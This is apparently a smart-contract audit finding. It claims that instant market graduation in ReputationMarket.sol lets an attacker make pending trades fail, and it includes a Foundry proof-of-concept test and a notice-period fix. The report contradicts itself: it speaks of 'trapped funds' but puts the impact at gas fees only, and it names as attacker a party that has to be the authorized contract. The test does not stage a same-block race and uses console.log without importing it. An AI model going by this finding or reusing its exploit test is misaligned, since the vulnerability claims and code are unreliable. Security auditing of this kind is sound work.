Fun Crepe Lobster
Medium
Lack of minimum notice period in market graduation will cause denial of service for market participants as malicious actors will manipulate graduation timing to trap user funds through precision-based race conditions.
In ReputationMarket.sol:L605-L607 the market graduation executes immediately without a waiting period, allowing abrupt state changes that can trap user transactions in flight.
- Market owner needs to set market state to be active (not graduated)
- Market needs to have total funds to be at least 1 ETH
- Authorized graduation contract needs to be set in contractAddressManager
- Market graduation transaction needs to be mined within same block as user trade
- Trade transaction needs to involve at least 0.1 ETH in value
- Attacker monitors mempool for large market trades
- Attacker identifies pending trade transaction
- Authorized contract calls graduateMarket() targeting same block
- Market graduates before trade completes
- User transaction fails due to market state change
The traders suffer an approximate loss of gas fees (0.01-0.05 ETH per failed transaction). The attacker doesn't gain these funds but disrupts market operations (griefing).
// SPDX-License-Identifier: MIT pragma solidity 0.8.26;
import {ReputationMarket} from "./ReputationMarket.sol"; import {Test} from "forge-std/Test.sol";
contract GraduationExploitTest is Test { ReputationMarket public market; address public trader = address(0x1); address public graduationContract = address(0x2); uint256 public profileId = 1;
function setUp() public {
// Deploy and setup market
market = new ReputationMarket();
market.initialize(
address(this), // owner
address(this), // admin
address(0), // signer
address(0), // verifier
address(this) // contract manager
);
// Setup graduation contract
vm.mockCall(
address(this),
abi.encodeWithSignature("getContractAddressForName(string)"),
abi.encode(graduationContract)
);
// Create market and add funds
market.createMarket{value: 5 ether}();
// Fund trader
vm.deal(trader, 10 ether);
}
function testGraduationRaceCondition() public {
// Step 1: Setup pending trade
vm.startPrank(trader);
bytes memory tradeCalldata = abi.encodeWithSelector(
market.buyVotes.selector,
profileId,
true, // isPositive
1000, // maxVotesToBuy
1 // minVotesToBuy
);
// Step 2: Prepare graduation transaction
bytes memory graduateCalldata = abi.encodeWithSelector(
market.graduateMarket.selector,
profileId
);
// Step 3: Execute race condition
vm.stopPrank();
vm.prank(graduationContract);
// Graduate market in same block as trade
vm.roll(block.number + 1);
market.graduateMarket(profileId);
// Try to execute trade after graduation
vm.prank(trader);
(bool success,) = address(market).call{value: 1 ether}(tradeCalldata);
// Verify trade failed
assertFalse(success, "Trade should have failed after graduation");
// Verify funds are stuck
uint256 marketFunds = market.marketFunds(profileId);
assertTrue(marketFunds > 0, "Market should have trapped funds");
console.log("Trapped funds in market:", marketFunds);
}
}
mapping(uint256 => uint256) public graduationNotices; uint256 constant GRADUATION_NOTICE_PERIOD = 1 days;
function announceGraduation(uint256 profileId) public { address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); if (msg.sender != authorizedAddress) revert UnauthorizedGraduation();
graduationNotices[profileId] = block.timestamp;
emit GraduationAnnounced(profileId);
}
function graduateMarket(uint256 profileId) public whenNotPaused activeMarket(profileId) nonReentrant { require( graduationNotices[profileId] > 0 && block.timestamp >= graduationNotices[profileId] + GRADUATION_NOTICE_PERIOD, "Graduation notice period not elapsed" );
address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL");
if (msg.sender != authorizedAddress) revert UnauthorizedGraduation();
graduatedMarkets[profileId] = true;
emit MarketGraduated(profileId);
}